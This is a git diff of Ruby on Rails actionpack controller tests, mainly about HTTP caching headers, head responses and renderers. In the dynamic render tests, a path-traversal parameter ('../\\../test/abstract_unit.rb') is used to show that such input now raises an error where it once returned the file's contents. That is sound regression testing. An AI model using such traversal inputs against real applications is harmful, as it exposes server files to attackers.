+  def conditional_hello_with_expires_and_confliciting_cache_control_headers
+    response.headers["Cache-Control"] = "no-cache, must-revalidate"
+    expires_now
+    render action: "hello_world"
+  end
+
+  def conditional_hello_without_expires_and_confliciting_cache_control_headers
+    response.headers["Cache-Control"] = "no-cache, must-revalidate"
+    render action: "hello_world"
+  end
+
+  def conditional_hello_without_expires_and_public_header
+    response.headers["Cache-Control"] = "public, no-cache"
+    render action: "hello_world"
+  end
+
   def conditional_hello_with_bangs
     render action: "hello_world"
   end
   before_action :handle_last_modified_and_etags, only: :conditional_hello_with_bangs
 
   def handle_last_modified_and_etags
-    fresh_when(last_modified: Time.now.utc.beginning_of_day, etag: [ :foo, 123 ])
+    fresh_when(last_modified: Time.now.utc.beginning_of_day, etag: [ :foo, 123 ], public: false, cache_control: { no_cache: true, public: true })
   end
 
   def head_created
@@ -181,6 +243,10 @@ def head_ok_with_image_png_content_type
     head :ok, content_type: "image/png"
   end
 
+  def head_ok_with_string_key_content_type
+    head :ok, "Content-Type" => "application/pdf"
+  end
+
   def head_with_location_header
     head :ok, location: "/foo"
   end
@@ -227,8 +293,34 @@ def head_with_no_content
     head 204
   end
 
-  private
+  def head_default_content_type
+    # simulating path like "/1.foobar"
+    request.formats = []
+
+    respond_to do |format|
+      format.any { head 200 }
+    end
+  end
+
+  def cache_control_default_header_with_extras_partially_overridden_by_expires_in
+    response.headers["Cache-Control"] = "max-age=120, public, s-maxage=60, proxy-revalidate"
+    expires_in 300.seconds, public: true
+    render action: "hello_world"
+  end
+
+  def cache_control_no_store_overridden_by_expires_in
+    response.headers["Cache-Control"] = "no-store"
+    expires_in 60.seconds, public: true
+    render action: "hello_world"
+  end
+
+  def cache_control_no_store_overridden_by_expires_now
+    response.headers["Cache-Control"] = "no-store"
+    expires_now
+    render action: "hello_world"
+  end
 
+  private
     def set_variable_for_layout
       @variable_for_layout = nil
     end
@@ -257,13 +349,15 @@ def determine_layout
 module TemplateModificationHelper
   private
     def modify_template(name)
-      path = File.expand_path("../../fixtures/#{name}.erb", __FILE__)
-      original = File.read(path)
-      File.write(path, "#{original} Modified!")
+      hash = @controller.view_paths.first.instance_variable_get(:@hash)
+      key = name + ".erb"
+      original = hash[key]
+      hash[key] = "#{original} Modified!"
       ActionView::LookupContext::DetailsKey.clear
       yield
     ensure
-      File.write(path, original)
+      hash[key] = original
+      ActionView::LookupContext::DetailsKey.clear
     end
 end
 
@@ -286,11 +380,10 @@ def setup
   end
 
   def test_dynamic_render_with_file
-    # This is extremely bad, but should be possible to do.
-    assert File.exist?(File.join(File.dirname(__FILE__), "../../test/abstract_unit.rb"))
-    response = get :dynamic_render_with_file, params: { id: '../\\../test/abstract_unit.rb' }
-    assert_equal File.read(File.join(File.dirname(__FILE__), "../../test/abstract_unit.rb")),
-      response.body
+    assert File.exist?(File.expand_path("../../test/abstract_unit.rb", __dir__))
+    assert_raises ArgumentError do
+      get :dynamic_render_with_file, params: { id: '../\\../test/abstract_unit.rb' }
+    end
   end
 
   def test_dynamic_render_with_absolute_path
@@ -306,17 +399,17 @@ def test_dynamic_render_with_absolute_path
   end
 
   def test_dynamic_render
-    assert File.exist?(File.join(File.dirname(__FILE__), "../../test/abstract_unit.rb"))
+    assert File.exist?(File.expand_path("../../test/abstract_unit.rb", __dir__))
     assert_raises ActionView::MissingTemplate do
       get :dynamic_render, params: { id: '../\\../test/abstract_unit.rb' }
     end
   end
 
   def test_permitted_dynamic_render_file_hash
-    assert File.exist?(File.join(File.dirname(__FILE__), "../../test/abstract_unit.rb"))
-    response = get :dynamic_render_permit, params: { id: { file: '../\\../test/abstract_unit.rb' } }
-    assert_equal File.read(File.join(File.dirname(__FILE__), "../../test/abstract_unit.rb")),
-      response.body
+    assert File.exist?(File.expand_path("../../test/abstract_unit.rb", __dir__))
+    assert_raises ArgumentError do
+      get :dynamic_render_permit, params: { id: { file: '../\\../test/abstract_unit.rb' } }
+    end
   end
 
   def test_dynamic_render_file_hash
@@ -345,6 +438,21 @@ def test_expires_in_header_with_public_and_must_revalidate
     assert_equal "max-age=60, public, must-revalidate", @response.headers["Cache-Control"]
   end
 
+  def test_expires_in_header_with_stale_while_revalidate
+    get :conditional_hello_with_expires_in_with_stale_while_revalidate
+    assert_equal "max-age=60, public, stale-while-revalidate=300", @response.headers["Cache-Control"]
+  end
+
+  def test_expires_in_header_with_stale_if_error
+    get :conditional_hello_with_expires_in_with_stale_if_error
+    assert_equal "max-age=60, public, stale-if-error=300", @response.headers["Cache-Control"]
+  end
+
+  def test_expires_in_header_with_immutable
+    get :conditional_hello_with_expires_in_with_immutable
+    assert_equal "max-age=60, public, immutable", @response.headers["Cache-Control"]
+  end
+
   def test_expires_in_header_with_additional_headers
     get :conditional_hello_with_expires_in_with_public_with_more_keys
     assert_equal "max-age=60, public, s-maxage=18000", @response.headers["Cache-Control"]
@@ -366,6 +474,21 @@ def test_expires_now_with_cache_control_headers
     assert_match(/no-transform/, @response.headers["Cache-Control"])
   end
 
+  def test_expires_now_with_conflicting_cache_control_headers
+    get :conditional_hello_with_expires_and_confliciting_cache_control_headers
+    assert_equal "no-cache", @response.headers["Cache-Control"]
+  end
+
+  def test_no_expires_now_with_conflicting_cache_control_headers
+    get :conditional_hello_without_expires_and_confliciting_cache_control_headers
+    assert_equal "no-cache", @response.headers["Cache-Control"]
+  end
+
+  def test_no_expires_now_with_public
+    get :conditional_hello_without_expires_and_public_header
+    assert_equal "public, no-cache", @response.headers["Cache-Control"]
+  end
+
   def test_date_header_when_expires_in
     time = Time.mktime(2011, 10, 30)
     Time.stub :now, time do
@@ -373,6 +496,21 @@ def test_date_header_when_expires_in
       assert_equal Time.now.httpdate, @response.headers["Date"]
     end
   end
+
+  def test_cache_control_default_header_with_extras_partially_overridden_by_expires_in
+    get :cache_control_default_header_with_extras_partially_overridden_by_expires_in
+    assert_equal "max-age=300, public, s-maxage=60, proxy-revalidate", @response.headers["Cache-Control"]
+  end
+
+  def test_cache_control_no_store_overridden_by_expires_in
+    get :cache_control_no_store_overridden_by_expires_in
+    assert_equal "max-age=60, public", @response.headers["Cache-Control"]
+  end
+
+  def test_cache_control_no_store_overridden_by_expires_now
+    get :cache_control_no_store_overridden_by_expires_now
+    assert_equal "no-cache", @response.headers["Cache-Control"]
+  end
 end
 
 class LastModifiedRenderTest < ActionController::TestCase
@@ -392,7 +530,7 @@ def test_request_not_modified
     @request.if_modified_since = @last_modified
     get :conditional_hello
     assert_equal 304, @response.status.to_i
-    assert @response.body.blank?
+    assert_predicate @response.body, :blank?
     assert_equal @last_modified, @response.headers["Last-Modified"]
   end
 
@@ -407,10 +545,15 @@ def test_request_modified
     @request.if_modified_since = "Thu, 16 Jul 2008 00:00:00 GMT"
     get :conditional_hello
     assert_equal 200, @response.status.to_i
-    assert @response.body.present?
+    assert_predicate @response.body, :present?
     assert_equal @last_modified, @response.headers["Last-Modified"]
   end
 
+  def test_responds_with_custom_cache_control_headers
+    get :conditional_hello
+    assert_equal "no-cache", @response.headers["Cache-Control"]
+  end
+
   def test_responds_with_last_modified_with_record
     get :conditional_hello_with_record
     assert_equal @last_modified, @response.headers["Last-Modified"]
@@ -420,7 +563,7 @@ def test_request_not_modified_with_record
     @request.if_modified_since = @last_modified
     get :conditional_hello_with_record
     assert_equal 304, @response.status.to_i
-    assert @response.body.blank?
+    assert_predicate @response.body, :blank?
     assert_not_nil @response.etag
     assert_equal @last_modified, @response.headers["Last-Modified"]
   end
@@ -436,7 +579,35 @@ def test_request_modified_with_record
     @request.if_modified_since = "Thu, 16 Jul 2008 00:00:00 GMT"
     get :conditional_hello_with_record
     assert_equal 200, @response.status.to_i
-    assert @response.body.present?
+    assert_predicate @response.body, :present?
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+
+  def test_responds_with_last_modified_with_array_of_records
+    get :conditional_hello_with_array_of_records
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+
+  def test_request_not_modified_with_array_of_records
+    @request.if_modified_since = @last_modified
+    get :conditional_hello_with_array_of_records
+    assert_equal 304, @response.status.to_i
+    assert_predicate @response.body, :blank?
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+
+  def test_request_not_modified_but_etag_differs_with_array_of_records
+    @request.if_modified_since = @last_modified
+    @request.if_none_match = '"234"'
+    get :conditional_hello_with_array_of_records
+    assert_response :success
+  end
+
+  def test_request_modified_with_array_of_records
+    @request.if_modified_since = "Thu, 16 Jul 2008 00:00:00 GMT"
+    get :conditional_hello_with_array_of_records
+    assert_equal 200, @response.status.to_i
+    assert_predicate @response.body, :present?
     assert_equal @last_modified, @response.headers["Last-Modified"]
   end
 
@@ -449,7 +620,7 @@ def test_request_not_modified_with_collection_of_records
     @request.if_modified_since = @last_modified
     get :conditional_hello_with_collection_of_records
     assert_equal 304, @response.status.to_i
-    assert @response.body.blank?
+    assert_predicate @response.body, :blank?
     assert_equal @last_modified, @response.headers["Last-Modified"]
   end
 
@@ -464,7 +635,7 @@ def test_request_modified_with_collection_of_records
     @request.if_modified_since = "Thu, 16 Jul 2008 00:00:00 GMT"
     get :conditional_hello_with_collection_of_records
     assert_equal 200, @response.status.to_i
-    assert @response.body.present?
+    assert_predicate @response.body, :present?
     assert_equal @last_modified, @response.headers["Last-Modified"]
   end
 
@@ -485,11 +656,18 @@ def test_last_modified_works_with_less_than_too
     get :conditional_hello_with_bangs
     assert_response :success
   end
+
+  def test_last_modified_with_custom_cache_control_headers
+    get :conditional_hello_with_bangs
+    assert_equal "public, no-cache", @response.headers["Cache-Control"]
+    assert_response :success
+  end
 end
 
 class EtagRenderTest < ActionController::TestCase
   tests TestControllerWithExtraEtags
   include TemplateModificationHelper
+  include EtagHelper
 
   def test_strong_etag
     @request.if_none_match = strong_etag(["strong", "ab", :cde, [:f]])
@@ -562,15 +740,6 @@ def test_etag_reflects_implicit_template_digest
       assert_not_equal etag, @response.etag
     end
   end
-
-  private
-    def weak_etag(record)
-      "W/#{strong_etag record}"
-    end
-
-    def strong_etag(record)
-      %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(record))}")
-    end
 end
 
 class NamespacedEtagRenderTest < ActionController::TestCase
@@ -595,6 +764,28 @@ def test_etag_reflects_template_digest
   end
 end
 
+class InheritedEtagRenderTest < ActionController::TestCase
+  tests InheritedRenderTestController
+  include TemplateModificationHelper
+
+  def test_etag_reflects_template_digest
+    get :hello_world
+    assert_response :ok
+    assert_not_nil etag = @response.etag
+
+    request.if_none_match = etag
+    get :hello_world
+    assert_response :not_modified
+
+    modify_template("implicit_render_test/hello_world") do
+      request.if_none_match = etag
+      get :hello_world
+      assert_response :ok
+      assert_not_equal etag, @response.etag
+    end
+  end
+end
+
 class MetalRenderTest < ActionController::TestCase
   tests MetalTestController
 
@@ -604,6 +795,18 @@ def test_access_to_logger_in_view
   end
 end
 
+class ActionControllerRenderTest < ActionController::TestCase
+  class MinimalController < ActionController::Metal
+    include AbstractController::Rendering
+    include ActionController::Rendering
+  end
+
+  def test_direct_render_to_string_with_body
+    mc = MinimalController.new
+    assert_equal "Hello world!", mc.render_to_string(body: ["Hello world!"])
+  end
+end
+
 class ActionControllerBaseRenderTest < ActionController::TestCase
   def test_direct_render_to_string
     ac = ActionController::Base.new()
@@ -615,7 +818,7 @@ class ImplicitRenderTest < ActionController::TestCase
   tests ImplicitRenderTestController
 
   def test_implicit_no_content_response_as_browser
-    assert_raises(ActionController::UnknownFormat) do
+    assert_raises(ActionController::MissingExactTemplate) do
       get :empty_action
     end
   end
@@ -647,27 +850,32 @@ def setup
 
   def test_head_created
     post :head_created
-    assert @response.body.blank?
+    assert_predicate @response.body, :blank?
     assert_response :created
   end
 
   def test_head_created_with_application_json_content_type
     post :head_created_with_application_json_content_type
-    assert @response.body.blank?
-    assert_equal "application/json", @response.header["Content-Type"]
+    assert_predicate @response.body, :blank?
+    assert_equal "application/json", @response.headers["Content-Type"]
     assert_response :created
   end
 
   def test_head_ok_with_image_png_content_type
     post :head_ok_with_image_png_content_type
-    assert @response.body.blank?
-    assert_equal "image/png", @response.header["Content-Type"]
+    assert_predicate @response.body, :blank?
+    assert_equal "image/png", @response.headers["Content-Type"]
     assert_response :ok
   end
 
+  def test_head_respect_string_content_type
+    get :head_ok_with_string_key_content_type
+    assert_equal "application/pdf", @response.headers["Content-Type"]
+  end
+
   def test_head_with_location_header
     get :head_with_location_header
-    assert @response.body.blank?
+    assert_predicate @response.body, :blank?
     assert_equal "/foo", @response.headers["Location"]
     assert_response :ok
   end
@@ -677,13 +885,13 @@ def test_head_with_location_object
       set.draw do
         resources :customers
 
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller/:action"
         end
       end
 
       get :head_with_location_object
-      assert @response.body.blank?
+      assert_predicate @response.body, :blank?
       assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
       assert_response :ok
     end
@@ -691,14 +899,14 @@ def test_head_with_location_object
 
   def test_head_with_custom_header
     get :head_with_custom_header
-    assert @response.body.blank?
+    assert_predicate @response.body, :blank?
     assert_equal "something", @response.headers["X-Custom-Header"]
     assert_response :ok
   end
 
   def test_head_with_www_authenticate_header
     get :head_with_www_authenticate_header
-    assert @response.body.blank?
+    assert_predicate @response.body, :blank?
     assert_equal "something", @response.headers["WWW-Authenticate"]
     assert_response :ok
   end
@@ -759,6 +967,44 @@ def test_head_returns_truthy_value
       get :head_and_return
     end
   end
+
+  def test_head_default_content_type
+    post :head_default_content_type
+    assert_equal "text/html", @response.headers["Content-Type"]
+  end
+end
+
+class LiveTestController < ActionController::Base
+  include ActionController::Live
+
+  def test_action
+    head :ok
+  end
+end
+
+class LiveHeadRenderTest < ActionController::TestCase
+  tests LiveTestController
+
+  def setup
+    super
+
+    def @controller.new_controller_thread(&block)
+      Thread.new(&block)
+    end
+
+    def @controller.response_body=(body)
+      super
+      sleep 0.1
+    end
+  end
+
+  def test_live_head_ok
+    get :test_action, format: "json"
+
+    @response.stream.on_error { flunk "action should not raise any errors" }
+    sleep 0.2
+    pass
+  end
 end
 
 class HttpCacheForeverTest < ActionController::TestCase
@@ -775,17 +1021,17 @@ def cache_me_forever
   def test_cache_with_public
     get :cache_me_forever, params: { public: true }
     assert_response :ok
-    assert_equal "max-age=#{100.years}, public", @response.headers["Cache-Control"]
+    assert_equal "max-age=#{100.years}, public, immutable", @response.headers["Cache-Control"]
     assert_not_nil @response.etag
-    assert @response.weak_etag?
+    assert_predicate @response, :weak_etag?
   end
 
   def test_cache_with_private
     get :cache_me_forever
     assert_response :ok
-    assert_equal "max-age=#{100.years}, private", @response.headers["Cache-Control"]
+    assert_equal "max-age=#{100.years}, private, immutable", @response.headers["Cache-Control"]
     assert_not_nil @response.etag
-    assert @response.weak_etag?
+    assert_predicate @response, :weak_etag?
   end
 
   def test_cache_response_code_with_if_modified_since
@@ -806,3 +1052,107 @@ def test_cache_response_code_with_etag
     assert_response :not_modified
   end
 end
+
+class HttpCacheNoStoreTest < ActionController::TestCase
+  class HttpCacheNoStoreController < ActionController::Base
+    def standalone_no_store_call
+      no_store
+      render plain: "hello world"
+    end
+
+    before_action(only: :no_store_overridden_by_expires_in) { no_store }
+    def no_store_overridden_by_expires_in
+      expires_in 30.seconds
+      render plain: "hello world"
+    end
+
+    before_action(only: :expires_in_overridden_by_no_store) { expires_in 30.seconds }
+    def expires_in_overridden_by_no_store
+      no_store
+      render plain: "hello world"
+    end
+
+    before_action(only: :no_store_overridden_by_fresh_when) { no_store }
+    def no_store_overridden_by_fresh_when
+      fresh_when(etag: "123abc")
+      render plain: "hello world"
+    end
+
+    before_action(only: :fresh_when_overridden_by_no_store) { fresh_when etag: "abc123" }
+    def fresh_when_overridden_by_no_store
+      no_store
+      render plain: "hello world"
+    end
+
+    before_action(only: :expires_now_overridden_by_no_store) { expires_now }
+    def expires_now_overridden_by_no_store
+      no_store
+      render plain: "hello world"
+    end
+
+    before_action(only: :no_store_overridden_by_expires_now) { no_store }
+    def no_store_overridden_by_expires_now
+      expires_now
+      render plain: "hello world"
+    end
+
+    def cache_control_no_cache_overridden_by_no_store
+      response.headers["Cache-Control"] = "no-cache"
+      no_store
+      render plain: "hello world"
+    end
+
+    def cache_control_public_with_max_age_overridden_by_no_store
+      response.headers["Cache-Control"] = "public, max-age=604800"
+      no_store
+      render plain: "hello world"
+    end
+  end
+
+  tests HttpCacheNoStoreController
+
+  def test_standalone_no_store_call
+    get :standalone_no_store_call
+    assert_equal "no-store", @response.headers["Cache-Control"]
+  end
+
+  def test_no_store_overridden_by_expires_in
+    get :no_store_overridden_by_expires_in
+    assert_equal "max-age=30, private", @response.headers["Cache-Control"]
+  end
+
+  def test_expires_in_overridden_by_no_store
+    get :expires_in_overridden_by_no_store
+    assert_equal "no-store", @response.headers["Cache-Control"]
+  end
+
+  def test_no_store_overridden_by_fresh_when
+    get :no_store_overridden_by_fresh_when
+    assert_equal "max-age=0, private, must-revalidate", @response.headers["Cache-Control"]
+  end
+
+  def test_fresh_when_overridden_by_no_store
+    get :fresh_when_overridden_by_no_store
+    assert_equal "no-store", @response.headers["Cache-Control"]
+  end
+
+  def test_expires_now_overridden_by_no_store
+    get :expires_now_overridden_by_no_store
+    assert_equal "no-store", @response.headers["Cache-Control"]
+  end
+
+  def test_no_store_overridden_by_expires_now
+    get :no_store_overridden_by_expires_now
+    assert_equal "no-cache", @response.headers["Cache-Control"]
+  end
+
+  def test_cache_control_no_cache_header_can_be_overridden_by_no_store
+    get :cache_control_no_cache_overridden_by_no_store
+    assert_equal "no-store", @response.headers["Cache-Control"]
+  end
+
+  def test_cache_control_public_with_expiration_header_can_be_overridden_by_no_store
+    get :cache_control_public_with_max_age_overridden_by_no_store
+    assert_equal "no-store", @response.headers["Cache-Control"]
+  end
+end
diff --git a/actionpack/test/controller/render_to_string_test.rb b/actionpack/test/controller/render_to_string_test.rb
new file mode 100644
index 0000000000000..c017b32d2710e
--- /dev/null
+++ b/actionpack/test/controller/render_to_string_test.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_models"
+require "active_support/logger"
+
+class RenderToStringTest < ActionController::TestCase
+  class TestController < ActionController::Base
+    protect_from_forgery
+
+    def self.controller_path
+      "test"
+    end
+
+    def render_plain_text_response_with_inline_template
+      render plain: render_to_string(inline: "hello")
+    end
+
+    def render_json_response_with_partial
+      render json: { hello: render_to_string(partial: "partial") }
+    end
+
+    def render_json_render_to_string
+      render plain: render_to_string(json: "[]")
+    end
+
+    def test_render_json_render_to_string
+      get :render_json_render_to_string
+      assert_equal "[]", @response.body
+    end
+
+    def render_plain_text_response_with_inline_template_and_xml_format
+      render_to_string(inline: "<language>Ruby</language>", formats: [:xml])
+      render plain: "Hello"
+    end
+
+    def render_head_ok_with_inline_template_and_xml_format
+      render_to_string(inline: "<language>Ruby</language>", formats: [:xml])
+      head :ok
+    end
+  end
+
+  tests TestController
+
+  def test_render_plain_text_response
+    get :render_plain_text_response_with_inline_template
+    assert_equal "hello", @response.body
+    assert_equal "text/plain", @response.media_type
+  end
+
+  def test_render_json_response
+    get :render_json_response_with_partial
+    assert_equal '{"hello":"partial html"}', @response.body
+    assert_equal "application/json", @response.media_type
+  end
+
+  def render_json_render_to_string
+    render plain: render_to_string(json: "[]")
+    assert_equal "text/plain", @response.media_type
+  end
+
+  def test_response_type_does_not_change_by_render_to_string_with_xml_format
+    get :render_plain_text_response_with_inline_template_and_xml_format
+    assert_equal "Hello", @response.body
+    assert_equal "text/plain", @response.media_type
+  end
+
+  def test_response_ok_for_render_to_string_with_xml_format
+    get :render_head_ok_with_inline_template_and_xml_format
+    assert_equal "text/html", @response.media_type
+    assert_response :ok
+  end
+end
diff --git a/actionpack/test/controller/render_xml_test.rb b/actionpack/test/controller/render_xml_test.rb
index 24866d7d6a55b..91ab91a714152 100644
--- a/actionpack/test/controller/render_xml_test.rb
+++ b/actionpack/test/controller/render_xml_test.rb
@@ -1,6 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_models"
-require "pathname"
 
 class RenderXmlTest < ActionController::TestCase
   class XmlRenderable
@@ -73,7 +74,7 @@ def test_rendering_with_object_location_should_set_header_with_url_for
       set.draw do
         resources :customers
 
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller/:action"
         end
       end
@@ -90,11 +91,11 @@ def test_should_render_formatted_xml_erb_template
 
   def test_should_render_xml_but_keep_custom_content_type
     get :render_xml_with_custom_content_type
-    assert_equal "application/atomsvc+xml", @response.content_type
+    assert_equal "application/atomsvc+xml", @response.media_type
   end
 
   def test_should_use_implicit_content_type
     get :implicit_content_type, format: "atom"
-    assert_equal Mime[:atom], @response.content_type
+    assert_equal Mime[:atom], @response.media_type
   end
 end
diff --git a/actionpack/test/controller/renderer_test.rb b/actionpack/test/controller/renderer_test.rb
index 866600b935d91..490e111745e0d 100644
--- a/actionpack/test/controller/renderer_test.rb
+++ b/actionpack/test/controller/renderer_test.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "test_renderable"
 
 class RendererTest < ActiveSupport::TestCase
   test "action controller base has a renderer" do
@@ -19,6 +22,16 @@ class RendererTest < ActiveSupport::TestCase
     assert_equal controller, renderer.controller
   end
 
+  test "creating with new defaults" do
+    renderer = ApplicationController.renderer
+
+    new_defaults = { https: true }
+    new_renderer = renderer.with_defaults(new_defaults).new
+    content = new_renderer.render(inline: "<%= request.ssl? %>")
+
+    assert_equal "true", content
+  end
+
   test "rendering with a class renderer" do
     renderer = ApplicationController.renderer
     content  = renderer.render template: "ruby_template"
@@ -28,7 +41,7 @@ class RendererTest < ActiveSupport::TestCase
 
   test "rendering with an instance renderer" do
     renderer = ApplicationController.renderer.new
-    content  = renderer.render file: "test/hello_world"
+    content  = renderer.render template: "test/hello_world"
 
     assert_equal "Hello world!", content
   end
@@ -53,6 +66,19 @@ class RendererTest < ActiveSupport::TestCase
     assert_equal "The secret is foo\n", content
   end
 
+  test "render a renderable object" do
+    renderer = ApplicationController.renderer
+
+    assert_equal(
+      %(Hello, World!),
+      renderer.render(TestRenderable.new)
+    )
+    assert_equal(
+      %(Hello, World!),
+      renderer.render(renderable: TestRenderable.new)
+    )
+  end
+
   test "rendering with custom env" do
     renderer = ApplicationController.renderer.new method: "post"
     content  = renderer.render inline: "<%= request.post? %>"
@@ -86,25 +112,110 @@ class RendererTest < ActiveSupport::TestCase
     html = "Hello world!"
     xml  = "<p>Hello world!</p>\n"
 
-    assert_equal html, render["respond_to/using_defaults"]
-    assert_equal xml,  render["respond_to/using_defaults.xml.builder"]
-    assert_equal xml,  render["respond_to/using_defaults", formats: :xml]
+    assert_equal html, render("respond_to/using_defaults")
+    assert_equal xml,  render("respond_to/using_defaults", formats: :xml)
   end
 
   test "rendering with helpers" do
-    assert_equal "<p>1\n<br />2</p>", render[inline: '<%= simple_format "1\n2" %>']
+    assert_equal "<p>1\n<br />2</p>", render(inline: '<%= simple_format "1\n2" %>')
   end
 
   test "rendering with user specified defaults" do
-    ApplicationController.renderer.defaults.merge!(hello: "hello", https: true)
-    renderer = ApplicationController.renderer.new
-    content = renderer.render inline: "<%= request.ssl? %>"
+    renderer.defaults.merge!(hello: "hello", https: true)
+    content = renderer.new.render inline: "<%= request.ssl? %>"
 
     assert_equal "true", content
   end
 
+  test "return valid asset URL with defaults" do
+    renderer = ApplicationController.renderer
+    content  = renderer.render inline: "<%= asset_url 'asset.jpg' %>"
+
+    assert_equal "http://example.org/asset.jpg", content
+  end
+
+  test "return valid asset URL when https is true" do
+    renderer = ApplicationController.renderer.new https: true
+    content  = renderer.render inline: "<%= asset_url 'asset.jpg' %>"
+
+    assert_equal "https://example.org/asset.jpg", content
+  end
+
+  test "uses default_url_options from the controller's routes when env[:http_host] not specified" do
+    with_default_url_options(
+      protocol: "https",
+      host: "foo.example.com",
+      port: 9001,
+      script_name: "/bar",
+    ) do
+      assert_equal "https://foo.example.com:9001/bar/posts", render_url_for(controller: :posts)
+    end
+  end
+
+  test "uses config.force_ssl when env[:http_host] not specified" do
+    with_default_url_options(host: "foo.example.com") do
+      with_force_ssl do
+        assert_equal "https://foo.example.com/posts", render_url_for(controller: :posts)
+      end
+    end
+  end
+
+  test "can specify env[:https] when using default_url_options" do
+    with_default_url_options(host: "foo.example.com") do
+      @renderer = renderer.new(https: true)
+      assert_equal "https://foo.example.com/posts", render_url_for(controller: :posts)
+    end
+  end
+
+  test "env[:https] overrides default_url_options[:protocol]" do
+    with_default_url_options(host: "foo.example.com", protocol: "https") do
+      @renderer = renderer.new(https: false)
+      assert_equal "http://foo.example.com/posts", render_url_for(controller: :posts)
+    end
+  end
+
+  test "can specify env[:script_name] when using default_url_options" do
+    with_default_url_options(host: "foo.example.com") do
+      @renderer = renderer.new(script_name: "/bar")
+      assert_equal "http://foo.example.com/bar/posts", render_url_for(controller: :posts)
+    end
+  end
+
+  test "env[:script_name] overrides default_url_options[:script_name]" do
+    with_default_url_options(host: "foo.example.com", script_name: "/bar") do
+      @renderer = renderer.new(script_name: "")
+      assert_equal "http://foo.example.com/posts", render_url_for(controller: :posts)
+    end
+  end
+
   private
-    def render
-      @render ||= ApplicationController.renderer.method(:render)
+    def renderer
+      @renderer ||= ApplicationController.renderer.new
+    end
+
+    def render(...)
+      renderer.render(...)
+    end
+
+    def render_url_for(*args)
+      render inline: "<%= full_url_for(*#{args.inspect}) %>"
+    end
+
+    def with_default_url_options(default_url_options)
+      original_default_url_options = renderer.controller._routes.default_url_options
+      renderer.controller._routes.default_url_options = default_url_options
+      yield
+    ensure
+      renderer.controller._routes.default_url_options = original_default_url_options
+      renderer.controller._routes.default_env # refresh
+    end
+
+    def with_force_ssl(force_ssl = true)
+      # In a real app, an initializer will set `URL.secure_protocol = app.config.force_ssl`.
+      original_secure_protocol = ActionDispatch::Http::URL.secure_protocol
+      ActionDispatch::Http::URL.secure_protocol = force_ssl
+      yield
+    ensure
+      ActionDispatch::Http::URL.secure_protocol = original_secure_protocol
     end
 end
diff --git a/actionpack/test/controller/renderers_test.rb b/actionpack/test/controller/renderers_test.rb
index ccc700d79c9d1..9fde798831298 100644
--- a/actionpack/test/controller/renderers_test.rb
+++ b/actionpack/test/controller/renderers_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_models"
 require "active_support/logger"
@@ -9,6 +11,7 @@ def to_xml(options)
       "<#{options[:root]}/>"
     end
   end
+
   class JsonRenderable
     def as_json(options = {})
       hash = { a: :b, c: :d, e: :f }
@@ -20,11 +23,25 @@ def to_json(options = {})
       super except: [:c, :e]
     end
   end
+
   class CsvRenderable
     def to_csv
       "c,s,v"
     end
   end
+
+  class MarkdownRenderable
+    def to_markdown
+      "# This is markdown"
+    end
+  end
+
+  class SvgRenderable
+    def to_svg
+      "<svg><circle cx=\"50\" cy=\"50\" r=\"40\"/></svg>"
+    end
+  end
+
   class TestController < ActionController::Base
     def render_simon_says
       render simon: "foo"
@@ -36,8 +53,10 @@ def respond_to_mime
           render json: JsonRenderable.new
         end
         type.js   { render json: "JS", callback: "alert" }
-        type.csv  { render csv: CsvRenderable.new    }
-        type.xml  { render xml: XmlRenderable.new     }
+        type.csv  { render csv: CsvRenderable.new }
+        type.xml  { render xml: XmlRenderable.new }
+        type.md   { render markdown: MarkdownRenderable.new }
+        type.svg  { render svg: SvgRenderable.new }
         type.html { render body: "HTML"    }
         type.rss  { render body: "RSS"     }
         type.all  { render body: "Nothing" }
@@ -71,7 +90,7 @@ def test_raises_missing_template_no_renderer
     assert_raise ActionView::MissingTemplate do
       get :respond_to_mime, format: "csv"
     end
-    assert_equal Mime[:csv], @response.content_type
+    assert_equal Mime[:csv], @response.media_type
     assert_equal "", @response.body
   end
 
@@ -81,9 +100,21 @@ def test_adding_csv_rendering_via_renderers_add
     end
     @request.accept = "text/csv"
     get :respond_to_mime, format: "csv"
-    assert_equal Mime[:csv], @response.content_type
+    assert_equal Mime[:csv], @response.media_type
     assert_equal "c,s,v", @response.body
   ensure
     ActionController::Renderers.remove :csv
   end
+
+  test "rendering markdown" do
+    get :respond_to_mime, format: "md"
+    assert_equal Mime[:markdown], @response.media_type
+    assert_equal "# This is markdown", @response.body
+  end
+
+  test "rendering svg" do
+    get :respond_to_mime, format: "svg"
+    assert_equal Mime[:svg], @response.media_type
+    assert_equal "<svg><circle cx=\"50\" cy=\"50\" r=\"40\"/></svg>", @response.body
+  end
 end
diff --git a/actionpack/test/controller/request/test_request_test.rb b/actionpack/test/controller/request/test_request_test.rb
index 1440db00f60ec..b8d86696de67b 100644
--- a/actionpack/test/controller/request/test_request_test.rb
+++ b/actionpack/test/controller/request/test_request_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "stringio"
 
diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb
index d645ddfdbe8e5..57f1e7524cad5 100644
--- a/actionpack/test/controller/request_forgery_protection_test.rb
+++ b/actionpack/test/controller/request_forgery_protection_test.rb
@@ -1,5 +1,8 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/log_subscriber/test_helper"
+require "active_support/messages/rotation_configuration"
 
 # common controller actions
 module RequestForgeryProtectionActions
@@ -35,6 +38,22 @@ def form_for_remote_with_external_token
     render inline: "<%= form_for(:some_resource, :remote => true, :authenticity_token => 'external_token') {} %>"
   end
 
+  def form_with_remote
+    render inline: "<%= form_with(scope: :some_resource) {} %>"
+  end
+
+  def form_with_remote_with_token
+    render inline: "<%= form_with(scope: :some_resource, authenticity_token: true) {} %>"
+  end
+
